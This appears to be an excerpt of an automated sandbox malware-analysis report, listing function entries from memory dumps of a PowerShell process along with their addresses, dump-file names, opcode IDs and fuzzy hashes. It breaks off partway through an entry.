                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF9D28 Relevance: .1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 5a285f6062b5def75a8a62d9c11050fe0e980cc3cde76ebd8481a94805bf9c3f
                                                                                                                            • Instruction ID: d8183b1fe3454036024c6821155a0c1493c313c6da6e8cc4bb3e1503eb1ad010
                                                                                                                            • Opcode Fuzzy Hash: 5a285f6062b5def75a8a62d9c11050fe0e980cc3cde76ebd8481a94805bf9c3f
                                                                                                                            • Instruction Fuzzy Hash: F81129323193648FC718DF34E99599F7BF7EFC42153008969E246CB252CB71A905C791
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4199F Relevance: .1, Instructions: 66COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 71629c833c52fc45b8f27e6679f1abe12bcc6aff8497d1ffb01ed5c62eeb67ae
                                                                                                                            • Instruction ID: c733087f61701b337ae7da72a7d9c6ed151787dad14ec7bc8afee7fd4f7a15fa
                                                                                                                            • Opcode Fuzzy Hash: 71629c833c52fc45b8f27e6679f1abe12bcc6aff8497d1ffb01ed5c62eeb67ae
                                                                                                                            • Instruction Fuzzy Hash: 8411A2B6A042198BDB14CB64D9846EEBBF5BFC8314F15442AD466B7341CB369D81CBA0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF87C9 Relevance: .1, Instructions: 61COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: c87bd613c5c9a0eb263150df0572c56347b688d7f171354a2e8b7840f6bd43a2
                                                                                                                            • Instruction ID: d4455f373e58b2a1c49fb78c11eb30f14478f79d14539373bf6c332c0d8472d9
                                                                                                                            • Opcode Fuzzy Hash: c87bd613c5c9a0eb263150df0572c56347b688d7f171354a2e8b7840f6bd43a2
                                                                                                                            • Instruction Fuzzy Hash: FE115975E00208AFCB04EFA9E5449EDBBF6FF8C210F04842AE915A3751DB3059068FA1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFE139 Relevance: .1, Instructions: 59COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 851844fe240a51fd39646d6f1ee6a597730152b68d317d904b21f090201ebc25
                                                                                                                            • Instruction ID: c76ed2f641b37da26fe976daa60ceff29eb1f33fd8296b2b44e1ff06d24cc571
                                                                                                                            • Opcode Fuzzy Hash: 851844fe240a51fd39646d6f1ee6a597730152b68d317d904b21f090201ebc25
                                                                                                                            • Instruction Fuzzy Hash: B311C472B04205ABD7119F75DC009EEBB66EFC5220F108169D9159B381DB34E915CB91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF7750 Relevance: .1, Instructions: 58COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 0c400bd893f7fb673128266af3cd6148a501f14cbf5c942016f479a339bc498a
                                                                                                                            • Instruction ID: a0418f668f161cf1fd3d3987a77fdbc0bbc752d840ce3c4d3d5912ae8d00ae9a
                                                                                                                            • Opcode Fuzzy Hash: 0c400bd893f7fb673128266af3cd6148a501f14cbf5c942016f479a339bc498a
                                                                                                                            • Instruction Fuzzy Hash: 51113A716002059FEB159B64D919BAE7BF6EF88B05F2440B9D502EB290DF799D04CBA0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4E2CF Relevance: .1, Instructions: 55COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 083e4a0a05f4f90f3aadf4ae631015b4fafea0a2940c921aa920e2ebc2ce262d
                                                                                                                            • Instruction ID: 3c98c5207e8d43f87882b1cd8a7494d5571994f46962e36e3273784e0118f63e
                                                                                                                            • Opcode Fuzzy Hash: 083e4a0a05f4f90f3aadf4ae631015b4fafea0a2940c921aa920e2ebc2ce262d
                                                                                                                            • Instruction Fuzzy Hash: C6119E75E152189FCF25DB64C84099DBBB5FF84720F068069D9506B340DB72BC42CB81
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF87D8 Relevance: .1, Instructions: 54COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 59ecd7e292972c1130203fb3435b209c223252217c92f3d4e0df05eb02f9bc1a
                                                                                                                            • Instruction ID: cd1fd65a84d7274b0a1b27871213649db41567ec14396536e48e75d8579cb181
                                                                                                                            • Opcode Fuzzy Hash: 59ecd7e292972c1130203fb3435b209c223252217c92f3d4e0df05eb02f9bc1a
                                                                                                                            • Instruction Fuzzy Hash: 35113D75E00208AFCB05DFA9D8459EEBBF6EF8C310F14852AE915E7350DB3199158FA0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFEBE8 Relevance: .1, Instructions: 54COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 9380adaff290b486ee1e6a8f92a983d652a8df3da91487d61af4141dddf6c9ca
                                                                                                                            • Instruction ID: 4821bf69cbb68909b4c117f9236f4a2b591a68537a09f6ba349a7f78eaad8dbc
                                                                                                                            • Opcode Fuzzy Hash: 9380adaff290b486ee1e6a8f92a983d652a8df3da91487d61af4141dddf6c9ca
                                                                                                                            • Instruction Fuzzy Hash: 101119B1A002099BDB149F65C4586EEBBB6EF88710F144079E906B7391DF359C45CBA1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF7140 Relevance: .1, Instructions: 53COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 9b5329e4ee64e36ab6ebf0df6490b621b5e8e12c564c51f35e8d22ccc67c2c61
                                                                                                                            • Instruction ID: 4b249d1384373b9d4bb674423ee71a64fc34e93af4b857760f546a492b5ecf33
                                                                                                                            • Opcode Fuzzy Hash: 9b5329e4ee64e36ab6ebf0df6490b621b5e8e12c564c51f35e8d22ccc67c2c61
                                                                                                                            • Instruction Fuzzy Hash: AA110470A052916FE31287649C10BFFBFB2AF86700F2401AAF544AF6C2CB745A09C7A1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFC451 Relevance: .1, Instructions: 52COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: deb6bf2c6f755d6028b5fbaf8560515747f11eddf6488a72035b004be362940a
                                                                                                                            • Instruction ID: b2ade02abde17f0683fa5a17a99fe07a592a0204dc8032732a836393ef82697e
                                                                                                                            • Opcode Fuzzy Hash: deb6bf2c6f755d6028b5fbaf8560515747f11eddf6488a72035b004be362940a
                                                                                                                            • Instruction Fuzzy Hash: FA119DB1E04259ABDB14DFA4D980AEEBFB6AF4C314F14806AF915F6650CB304A84CB61
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF1C68 Relevance: .1, Instructions: 51COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 1e2e392f5c9bdd0ae7083184953192738f3dd8133afae59cd484fbad11cc4c68
                                                                                                                            • Instruction ID: a163648fda8955ea1d93d97a48e825a14f9a4846deaa57344a6b6d65d9744b72
                                                                                                                            • Opcode Fuzzy Hash: 1e2e392f5c9bdd0ae7083184953192738f3dd8133afae59cd484fbad11cc4c68
                                                                                                                            • Instruction Fuzzy Hash: 2511C2312042149BC309EB34D844B9A77A3EFC9314F458D68D95A8F262DF72BC4A8B95
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF5DD0 Relevance: .0, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 2762fe3c9192bcbbe689daf9adaf5c019652961ab114d57340058fa7b9adcc3a
                                                                                                                            • Instruction ID: 29ab0391f4c7578fac7cbe06ed903a38637d57d163a9f4900a608c3982c7267e
                                                                                                                            • Opcode Fuzzy Hash: 2762fe3c9192bcbbe689daf9adaf5c019652961ab114d57340058fa7b9adcc3a
                                                                                                                            • Instruction Fuzzy Hash: EC019271B002169BCB22DB68D950AEFB7A6EFC5310F404475DA18EB744EF35ED058BA1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFB9F0 Relevance: .0, Instructions: 48COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 9fb82f46ea4a1874eda0f92464c63cfe064687aa784976f20d25baa04e51392d
                                                                                                                            • Instruction ID: a22cb32e1a7a35830098f2d0a7d98d5e5eea0a3f621a3d5999612431c8bb3cac
                                                                                                                            • Opcode Fuzzy Hash: 9fb82f46ea4a1874eda0f92464c63cfe064687aa784976f20d25baa04e51392d
                                                                                                                            • Instruction Fuzzy Hash: BF01D2B070E3945FCB0A9770992945A3BA18FC220431A84E6CA45DF287EF29CD05C7A7
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4E241 Relevance: .0, Instructions: 47COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 2ba03a82ea846fd730322e923136fc38fee320e15d8b1ec9f747a5108e53a244
                                                                                                                            • Instruction ID: 8d83223d1111c79508abc8f45f4e90e43361c5ab1063624dabe1c930e91df5fd
                                                                                                                            • Opcode Fuzzy Hash: 2ba03a82ea846fd730322e923136fc38fee320e15d8b1ec9f747a5108e53a244
                                                                                                                            • Instruction Fuzzy Hash: 2A017BB0B0E2901FCB1A477455282A97F92EFC332070D00EFD555EB342DA249C46D796
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF76C0 Relevance: .0, Instructions: 45COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 04c830f2b20e360d8c9960c8183611342f88ad36e3c5d0b8c2f12a63dd42c9dc
                                                                                                                            • Instruction ID: 0c5e911014887524906cb223dbe7e8f50b41590606134d2898e818859b1c1d08
                                                                                                                            • Opcode Fuzzy Hash: 04c830f2b20e360d8c9960c8183611342f88ad36e3c5d0b8c2f12a63dd42c9dc
                                                                                                                            • Instruction Fuzzy Hash: 6D01F2B0B012556BE7118B689C00FFFBBB6DF85B01F2400BAF604AB6C1CBB46945C7A5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF7150 Relevance: .0, Instructions: 45COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 2590e97647249d6d81500df19b51b80406c106300c300ae7bfb6659e6de72c33
                                                                                                                            • Instruction ID: 6f1b389613ebb458495469c3efcc67bd0ec13f6bd4b3195d4b9729658e7f21c5
                                                                                                                            • Opcode Fuzzy Hash: 2590e97647249d6d81500df19b51b80406c106300c300ae7bfb6659e6de72c33
                                                                                                                            • Instruction Fuzzy Hash: 7301D4B0A012156BE7118A649C04BFF7BB6DF85B01F2440B6F604AB6C1CBB46909C7A5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 027BD01D Relevance: .0, Instructions: 45COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2352546598.00000000027BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 027BD000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_27bd000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 7cf77163c4118fca0c18a0d741c75750bc948ea49d673de948c8df6977ae90e2
                                                                                                                            • Instruction ID: 4c25dd6dab138a2df4c6d2802b3d9cac6e9d362d40700e726e0413f2a3adb9c8
                                                                                                                            • Opcode Fuzzy Hash: 7cf77163c4118fca0c18a0d741c75750bc948ea49d673de948c8df6977ae90e2
                                                                                                                            • Instruction Fuzzy Hash: 4501F271508340AAE7314E25C984BA6BBA8DF49268F08C11AED4C5B282C379D941CAB1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 027BD007 Relevance: .0, Instructions: 44COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2352546598.00000000027BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 027BD000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_27bd000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 45ea10ac20b867353b0854242ddd197a364421c1509d99263b04fecf60f03ab3
                                                                                                                            • Instruction ID: e4fa24ddfaf8d2e9d4205d7aad3145fcd6f778cb8ade41f9878fb18233c697d3
                                                                                                                            • Opcode Fuzzy Hash: 45ea10ac20b867353b0854242ddd197a364421c1509d99263b04fecf60f03ab3
                                                                                                                            • Instruction Fuzzy Hash: AA01127140D3C05ED7134B258C94B62BFB4DF47228F1D81DBD9888F197C2695849C772
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A41BAC Relevance: .0, Instructions: 41COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: fcc415dabd4453a684a4a1b2fdc0cbccd06bf942965a9a84675fafe47e909dfe
                                                                                                                            • Instruction ID: 9390d4176ea4ba2a78517d38e12d3fb3b92254acf2e4af1e7a35f7be22d34b17
                                                                                                                            • Opcode Fuzzy Hash: fcc415dabd4453a684a4a1b2fdc0cbccd06bf942965a9a84675fafe47e909dfe
                                                                                                                            • Instruction Fuzzy Hash: 27F0C0F67082585FD3184368CC009FAAB97DFD62547498096E519CBA91F615DC078355
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFAFB0 Relevance: .0, Instructions: 40COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: d88ab2dbe1dabf5e43caf2eaaf63f579a02467aeb5b41922cbb5cb4e5a196c59
                                                                                                                            • Instruction ID: 4347fd029f86edd7bfaa9770fa694eb160dcddc6ff6aaa28a2927b7068c3cf62
                                                                                                                            • Opcode Fuzzy Hash: d88ab2dbe1dabf5e43caf2eaaf63f579a02467aeb5b41922cbb5cb4e5a196c59
                                                                                                                            • Instruction Fuzzy Hash: 52018FB1300705DFC7288B39D044B9273E6EF85711F4409ADE59A87651C731F84ACF91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A44E26 Relevance: .0, Instructions: 33COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: c3d2ea21aeb846a717cac5da7b711c94166b41228648c7f27c36671bf57b278a
                                                                                                                            • Instruction ID: f05c05232f5383bdb066bcffc43cb53dd38999da03b34101f994a36f443487ad
                                                                                                                            • Opcode Fuzzy Hash: c3d2ea21aeb846a717cac5da7b711c94166b41228648c7f27c36671bf57b278a
                                                                                                                            • Instruction Fuzzy Hash: 24F03CB1A01249DFDF65CF64D8847EDB7F2BFC8315F1080A6E91893250DB318988CB51
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A44E1D Relevance: .0, Instructions: 33COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: c3d2ea21aeb846a717cac5da7b711c94166b41228648c7f27c36671bf57b278a
                                                                                                                            • Instruction ID: f05c05232f5383bdb066bcffc43cb53dd38999da03b34101f994a36f443487ad
                                                                                                                            • Opcode Fuzzy Hash: c3d2ea21aeb846a717cac5da7b711c94166b41228648c7f27c36671bf57b278a
                                                                                                                            • Instruction Fuzzy Hash: 24F03CB1A01249DFDF65CF64D8847EDB7F2BFC8315F1080A6E91893250DB318988CB51
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A42DB7 Relevance: .0, Instructions: 32COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 414224137a5efebabf3a521adba23332f7fcbdaf1ae7b4909151a32caa960bcc
                                                                                                                            • Instruction ID: 134bfd0347fc9f60418e20f06edd6fc05634cff3e04d52a37fd2bf1a44c3bfc4
                                                                                                                            • Opcode Fuzzy Hash: 414224137a5efebabf3a521adba23332f7fcbdaf1ae7b4909151a32caa960bcc
                                                                                                                            • Instruction Fuzzy Hash: 86F0CD76300648CFDF10CF54E8C48EABBF1FF8531071146A5D85687106C735E815CB00
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF5B18 Relevance: .0, Instructions: 31COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: b52596e2741e64771bce7204c7df9f3274319558c9d19b86d8d98135044efe1f
                                                                                                                            • Instruction ID: f817c5a4d039a3fdca61535405d972cde0c90014e35e909b2deff7205629b53f
                                                                                                                            • Opcode Fuzzy Hash: b52596e2741e64771bce7204c7df9f3274319558c9d19b86d8d98135044efe1f
                                                                                                                            • Instruction Fuzzy Hash: D0F0A0327041196FC7049759EC46ABFB7AEEFC9220B04402AE60897340DF715C0187A9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF20BF Relevance: .0, Instructions: 31COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 43669390283d3d04a7ed3ec190cf4bca99fb7dfe5ce8413c3416e50586d3a931
                                                                                                                            • Instruction ID: f386ce5ce09e70aff3d81c71356206c403396874792f05b99238957db58cc588
                                                                                                                            • Opcode Fuzzy Hash: 43669390283d3d04a7ed3ec190cf4bca99fb7dfe5ce8413c3416e50586d3a931
                                                                                                                            • Instruction Fuzzy Hash: E5E09B773161801FD719D535AC448EA6F5ADEC21B1354426BE444C7252E921891682D4
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A439F0 Relevance: .0, Instructions: 30COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 278e05cc244d7a82efa75a8daef6c0671326b3458a9a5d0ab5ddf48e44d2511b
                                                                                                                            • Instruction ID: 978151a171dbe272b98b872c3d8ba98d82c4bb23020ea1eca4b6a0f055dd2b00
                                                                                                                            • Opcode Fuzzy Hash: 278e05cc244d7a82efa75a8daef6c0671326b3458a9a5d0ab5ddf48e44d2511b
                                                                                                                            • Instruction Fuzzy Hash: 3EF01C7650524DBFCF01DEA49D01DEA7F6AEB89201B0080AAF95892511D2369634ABA0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4EC73 Relevance: .0, Instructions: 28COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 87b167e2eae33e4149bd118ec6506f136c18da3e2fa3b4a82c36dc0ace9f5151
                                                                                                                            • Instruction ID: 7517d209ec0aefa8909214f3fcec4ef040dac3b19371b85b5ea25eabec640908
